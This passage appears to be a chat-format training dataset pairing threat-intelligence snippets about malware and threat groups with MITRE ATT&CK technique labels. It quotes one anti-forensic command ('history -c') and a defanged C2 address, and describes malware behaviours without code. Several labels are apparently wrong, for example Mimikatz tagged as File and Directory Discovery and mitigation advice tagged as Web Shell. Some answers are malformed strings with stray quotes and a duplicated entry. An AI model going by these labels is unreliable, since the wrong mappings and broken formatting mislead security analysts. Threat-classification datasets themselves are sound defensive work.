                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky can delete files it creates from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpyNote RAT is capable of performing a variety of alarming functions that includes:   Activating the device’s microphone and listening to live conversations  Executing commands on the device  Copying files from the device to a Command & Control (C&C) center  Recording screen captures  Viewing contacts  Reading SMS messages  The screenshot below shows part of the sandbox’s report on the SpyNote RAT’s signature and detected functions:          Figure 1 : Zscaler Cloud Sandbox Detection     The fake Netflix app we are analyzing in this blog appears to be built using an updated version of SpyNote RAT builder, which was leaked last year"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1083 - File and Directory Discovery', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection"
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can determine the time on the victim machine via IPinfo."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can obtain a webpage hosted on Pastebin to update its C2 domain list."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can communicate over multiple C2 host and port combinations."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used process hollowing to inject into child processes."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer has used Process Doppelgänging to evade security software while deploying tools on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While both malware families are designed to deploy Cobalt Strike Beacon, there are differences in Cobalt Strike configuration. To date, Symantec has seen four samples of Raindrop. In three cases, Cobalt Strike was configured to use HTTPS as a communication protocol. In the fourth it was configured to use SMB Named Pipe as a communication protocol"
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has made their XMRIG payloads persistent as a Windows Service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown has been distributed through malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used WMI and LDAP queries for network discovery and to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sys10 uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBK has the ability to use the \"CreatePipe\" API to add a sub-process for execution via cmd."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos replaced the SSH client with a trojanized SSH client to steal credentials on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These files are stored within an 217kb encrypted cab file in the dropper’s resources under the name “A”"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. Below shows the RC4 key \"sV. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate has used `InstallUtil.exe` as part of its process to disable Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - Signed Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with much of the malware distributed by TA505, The Trick has appeared in frequent, high-volume campaigns. The campaigns used a mix of attached zipped scripts (WSF, VBS), malicious Microsoft Office documents (Word, Excel), HTML attachments, password-protected Microsoft Word documents, links to malicious JavaScript, and other vectors. The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can dump the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5 Uploading a file to server via RGDoor Downloading a file from the server via RGDoor"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can Base64 encode system information sent to C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY  has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "26, 2018) used a macro-based document that dropped a VBS file and an INI file. The INI file contains the Base64 encoded PowerShell command, which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it. The resulting code has multiple layers of obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1559.001 - Component Object Model', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can XOR encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing process listings."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has scanned for vulnerabilities in the public-facing servers of their targets."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal dropped a decoy payload with a .jpg extension that contained a malicious Visual Basic script."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell has the ability to create reverse shells with Perl scripts."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes is capable of downloading files, including additional modules."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can use `cmd.exe` for execution on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has lured victims to launch malicious attachments delivered via spearphishing emails (often sent from compromised accounts)."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To make detection and analysis harder, QakBot encrypts its strings and decrypts them at runtime before use. Once the QakBot execution logic is finished using a string, it will immediately delete the string from memory. An example of this can be seen in Figure 6 below, which shows QakBot decrypting a string containing the value for lpProcName passed as a parameter to the GetProcAddress API call. The selected function, which has been labeled in IDA Pro as, “oc_clear_mem” deletes the string memory right after it retrieves the process address"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer deobfuscates its strings and APIs once its executed."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise executes \"systeminfo\" after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has disabled Windows Defender to evade protections."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can communicate with its C2 using HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During CostaRicto, the threat actors employed nmap and pscan to scan target environments."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the custom tools used by the Leafminer group is a rebranded version of the widespread post-exploitation tool Mimikatz"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal's version of Bandook communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda modifies several Registry keys under \"HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\\" to disable phishing filters."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as  use a blend of HTTP and other legitimate channels, depending on module configuration."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has cleared command history with \"history -c\"."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has used the ShellExecuteW() function call."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After all of the data is gathered, the malware starts communication with the C&amp;C server by periodically sending HTTP POST requests to the following URL on the received domain"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can check for the existence of user email addresses using public Microsoft APIs."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. This technique has been documented in the MITRE ATT&amp;CK knowledge base as CMSTP; an example of how this technique is used may be found here. This technique has been used in the past by Cobalt, another financially motivated group. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has obtained open source tools for its operations, including JsonCPP and Psiphon."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DownPaper uses PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Typical web servers and applications only require GET, POST, and HEAD.Where possible, minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number.Secure both the operating system and the application.Update and patch production servers regularly.Disable potentially harmful SQL-stored procedure calls.Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.Consider using type-safe stored procedures and prepared statements.Audit transaction logs regularly for suspicious activity.Perform penetration testing on web services.Ensure error messages are generic and do not expose too much information.Permissions, Privileges, and Access ControlsSystem operators should take the following steps to limit permissions, privileges, and access controls.Reduce privileges to only those needed for a user’s duties.Restrict users’ ability (permissions) to install and run unwanted software applications, and apply the principle of “Least Privilege” to all systems and services"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has set up websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has signed Carbanak payloads with legally purchased code signing certificates. FIN7 has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used web shells, often to maintain access to a victim network."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can download files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM can capture screenshots of the victim’s desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used a modified version of HTRAN in which they obfuscated strings such as debug messages in an apparent attempt to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral Movement APT40 uses many methods for lateral movement throughout an environment, including custom scripts, web shells, a variety of tunnelers, as well as Remote Desktop Protocol (RDP)"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT contains code to delete files from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process \"/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment\"."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
